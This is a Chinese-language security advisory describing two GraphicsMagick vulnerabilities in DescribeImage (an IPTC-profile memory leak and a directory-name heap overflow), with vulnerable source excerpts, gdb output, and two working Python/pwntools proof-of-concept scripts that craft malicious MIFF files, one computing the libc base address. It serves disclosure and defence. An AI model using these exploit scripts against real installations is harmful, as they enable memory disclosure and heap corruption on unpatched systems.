漏洞概要
以下安全公告描述了在GraphicsMagick中发现的两个漏洞。
GraphicsMagick是“图像处理方面的瑞士军刀。 基础包中的源码共有267K行(根据David A. Wheeler统计),它提供了强大而有效的工具和库,支持读,写超过88种主要图像处理格式,包括DPX,GIF,JPEG,JPEG-2000,PNG,PDF,PNM和TIFF等重要格式。
在GraphicsMagick中发现的两个漏洞是:
- 内存信息泄露
- 堆溢出
漏洞提交者
一位独立的安全研究人员Jeremy Heng(@nn_amon)和Terry Chia(Ayrx)向 Beyond Security 的 SSD 报告了该漏洞
厂商响应
厂商已经发布了这些漏洞的补丁(15237:e4e1c2a581d8 and 15238:7292230dd18)。获取更多信息: ftp://ftp.graphicsmagick.org/pub/GraphicsMagick/snapshots/ChangeLog.txt
漏洞详细信息
内存信息泄露
GraphicsMagick易受到magick/describe.c文件的DescribeImage函数中存在内存信息泄露漏洞影响。
负责打印包含的IPTC配置文件信息的图像中的这一部分代码存在漏洞。
该漏洞可以通过特制的MIFF文件触发。
存在漏洞的代码路径如下:
```c 63 MagickExport MagickPassFail DescribeImage(Image *image,FILE *file, 64 const MagickBool verbose) 65 { ... 660 for (i=0; i < profile_length; ) 661 { 662 if (profile[i] != 0x1c) 663 { 664 i++; 665 continue; 666 } 667 i++; /* skip file separator */ 668 i++; /* skip record number */ ... 725 i++; 726 (void) fprintf(file," %.1024s:\n",tag); 727 length=profile[i++] << 8; 728 length|=profile[i++]; 729 text=MagickAllocateMemory(char *,length+1); 730 if (text != (char *) NULL) 731 { 732 char 733 **textlist; 734 735 register unsigned long 736 j; 737 738 (void) strncpy(text,(char *) profile+i,length); 739 text[length]='\0'; 740 textlist=StringToList(text); 741 if (textlist != (char **) NULL) 742 { 743 for (j=0; textlist[j] != (char *) NULL; j++) 744 { 745 (void) fprintf(file," %s\n",textlist[j]); ... 752 i+=length; 753 } ```
profile_length变量中的值在MIFF头中的profile-iptc = 8字段设置
当访问profile [i]时,因为不检查i的值,所以会出现越界访问。
如果断在describe.c第738行,在执行strncpy操作的时候我们可以获取到堆中的内容。
gef➤ x/2xg profile 0x8be210: 0x08000a001c414141 0x00007ffff690fba8
0x08000a001c414141是我们植入MIFF文件中的payload。
41 41 41 - padding 1C - sentinel check in line 662 00 - padding 0A - "Priority" tag 08 00 - 8 in big endian, the length
检查与payload相邻的值0x00007ffff690fba8,发现它其实是libc中main_arena结构中的一个地址。
gef➤ x/xw 0x00007ffff690fba8 0x7ffff690fba8 <main_arena+136>: 0x008cdc40 gef➤ vmmap libc Start End Offset Perm Path 0x00007ffff654b000 0x00007ffff670b000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff670b000 0x00007ffff690b000 0x00000000001c0000 --- /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff690b000 0x00007ffff690f000 0x00000000001c0000 r-- /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff690f000 0x00007ffff6911000 0x00000000001c4000 rw- /lib/x86_64-linux-gnu/libc-2.23.so
现在我们可以计算到libc base的偏移量 – 0x3c4b98
漏洞证明
$ python miff/readexploit.py
[+] Starting local process ‘/usr/bin/gm’: pid 20019
[+] Receiving all data: Done (1.27KB)
[*] Process ‘/usr/bin/gm’ stopped with exit code 0 (pid 20019)
[*] Main Arena Leak: 0x7f72948adb98
[*] libc Base: 0x7f72944e9000
#!/usr/bin/python # GraphicsMagick IPTC Profile libc Leak from pwn import * directory = "DIR" partitions = ('id=ImageMagick version=1.0\nclass=DirectClass matte=False\n' + 'columns=1 rows=1 depth=16\nscene=1\nmontage=1x1+0+0\nprofil' + 'e-iptc=', '\n\x0c\n:\x1a', '\n\x00', '\n\x00\xbe\xbe\xbe\xbe\xbe\xbe\n') output = "readexploit.miff" length = 8 #libc_main_arena_entry_offset = 0x3c4ba8 libc_main_arena_entry_offset = 0x3c4b98 def main(): data = "AAA" + "\x1c" + "\x00" + chr(10) + p16(0x8, endian="big") header = partitions[0] + str(length) + partitions[1] payload = header + directory + partitions[2] + data + partitions[3] file(output, "w").write(payload) p = process(executable="gm", argv=["identify", "-verbose", output]) output_leak = p.recvall() priority_offset = output_leak.index("Priority:") + 12 montage_offset = output_leak.index("Montage:") - 3 leak = output_leak[priority_offset:montage_offset] if "0x00000000" in leak: log.info("Unlucky run. Value corrupted by StringToList") exit() main_arena_leak = u64(leak.ljust(8, "\x00")) log.info("Main Arena Leak: 0x%x" % main_arena_leak) libc_base = main_arena_leak - libc_main_arena_entry_offset log.info("libc Base: 0x%x" % libc_base) if __name__ == "__main__": main()
堆溢出
GraphicsMagick容易受到magick/describe.c文件的DescribeImage()函数中发现的堆溢出漏洞的影响。
下面代码中855行的strncpy的调用,没有限制要复制到目的缓冲区,而是通过在目录名称中搜索换行符或空字节来计算大小。
844 /* 845 Display visual image directory. 846 */ 847 image_info=CloneImageInfo((ImageInfo *) NULL); 848 (void) CloneString(&image_info->size,"64x64"); 849 (void) fprintf(file," Directory:\n"); 850 for (p=image->directory; *p != '\0'; p++) 851 { 852 q=p; 853 while ((*q != '\n') && (*q != '\0')) 854 q++; 855 (void) strncpy(image_info->filename,p,q-p); 856 image_info->filename[q-p]='\0'; 857 p=q; ... 880 } 881 DestroyImageInfo(image_info);
由于ImageInfo结构中的filename字段是固定的2053字节,因此可以通过伪造超长的目录名,造成堆溢出。
type = struct _ImageInfo { ... FILE *file; char magick[2053]; char filename[2053]; _CacheInfoPtr_ cache; void *definitions; Image *attributes; unsigned int ping; PreviewType preview_type; unsigned int affirm; _BlobInfoPtr_ blob; size_t length; char unique[2053]; char zero[2053]; unsigned long signature; }
触发此漏洞的一种方法是在带有verbose标志的MIFF格式文件上运行identify命令。
漏洞证明
使用下面的脚本就可以生成MIFF文件exploit.miff。
#!/usr/bin/python from pwn import * partitions = ('id=ImageMagick version=1.0\nclass=DirectClass matte=False\n' + 'columns=1 rows=1 depth=16\nscene=1\nmontage=1x1+0+0\n\x0c\n' + ':\x1a', '\n\x00\xbe\xbe\xbe\xbe\xbe\xbe\n') output = "exploit.miff" def main(): payload = "A"*10000 payload = partitions[0] + payload + partitions[1] file(output, "w").write(payload) if __name__ == "__main__": main()
使用GDB带参数identify -verbose运行GraphicsMagick gm,当strncpy调用过后,中断程序的运行,然后检查被破坏的ImageInfo对象,以证明堆溢出利用成功。
gef➤ r identify -verbose exploit.miff ... gef➤ br describe.c:856 Breakpoint 1 at 0x4571df: file magick/describe.c, line 856. ... gef➤ p *image_info $3 = { ... compression = UndefinedCompression, file = 0x0, magick = '\000' <repeats 2052 times>, filename = 'A' <repeats 2053 times>, cache = 0x4141414141414141, definitions = 0x4141414141414141, attributes = 0x4141414141414141, ping = 0x41414141, preview_type = 1094795585, affirm = 0x41414141, blob = 0x4141414141414141, length = 0x4141414141414141, unique = 'A' <repeats 2053 times>, zero = 'A' <repeats 2053 times>, signature = 0x4141414141414141 }